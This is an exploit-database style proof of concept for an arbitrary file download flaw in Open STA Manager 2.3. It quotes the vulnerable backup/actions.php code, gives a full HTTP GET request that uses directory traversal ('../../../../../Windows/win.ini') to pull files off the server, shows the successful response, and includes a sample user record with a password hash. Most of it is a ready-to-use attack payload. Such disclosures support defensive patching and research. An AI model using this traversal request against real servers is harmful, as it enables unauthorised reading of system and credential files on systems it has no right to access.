# Exploit Title: Open STA Manager 2.3 - Arbitrary File Download # Dork: N/A # Date: 2018-10-25 # Exploit Author: Ihsan Sencan # Vendor Homepage: http://www.openstamanager.com/ # Software Link: https://sourceforge.net/projects/openstamanager/files/latest/download # Version: 2.3 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # POC: # 1) # http://localhost/[PATH]/modules/backup/actions.php?op=getfile&file=[FILE] # # Technicians, Agents, Customers users group can run sql codes. # # /* `exploitdb`.`zz_users` */ $zz_users = array( array('idutente' => '2','username' => 'efeefeefe','password' => '$2y$10$pesWR2SHoxriSupiXsBwX.tTFdsjk9XuJoZAS/L5thFUt97LMLiyu','email' => 'efe@omerefe.com','idanagrafica' => '0','idtipoanagrafica' => '0','idgruppo' => '4','enabled' => '1','created_at' => '2018-10-25 09:30:33','updated_at' => '2018-10-25 09:32:09') ); # # /[PATH]/modules/backup/actions.php # .... # 05 switch (filter('op')) { # 06 case 'getfile': # 07 $file = filter('file'); # 08 # 09 force_download($file, file_get_contents($backup_dir.$file)); # 10 # 11 break; # .... GET /[PATH]/modules/backup/actions.php?op=getfile&file=../../../../../Windows/win.ini HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=lt998mh6qs6qq2d7daj9ogdoa0 Connection: keep-alive HTTP/1.1 200 OK Date: Thu, 25 Oct 2018 09:43:40 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 X-Powered-By: PHP/5.6.30 Expires: 0 Cache-Control: must-revalidate, post-check=0, pre-check=0, private Pragma: public Content-Disposition: attachment; filename="win.ini"; Content-Transfer-Encoding: binary Content-Length: 564 X-Robots-Tag: noindex Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8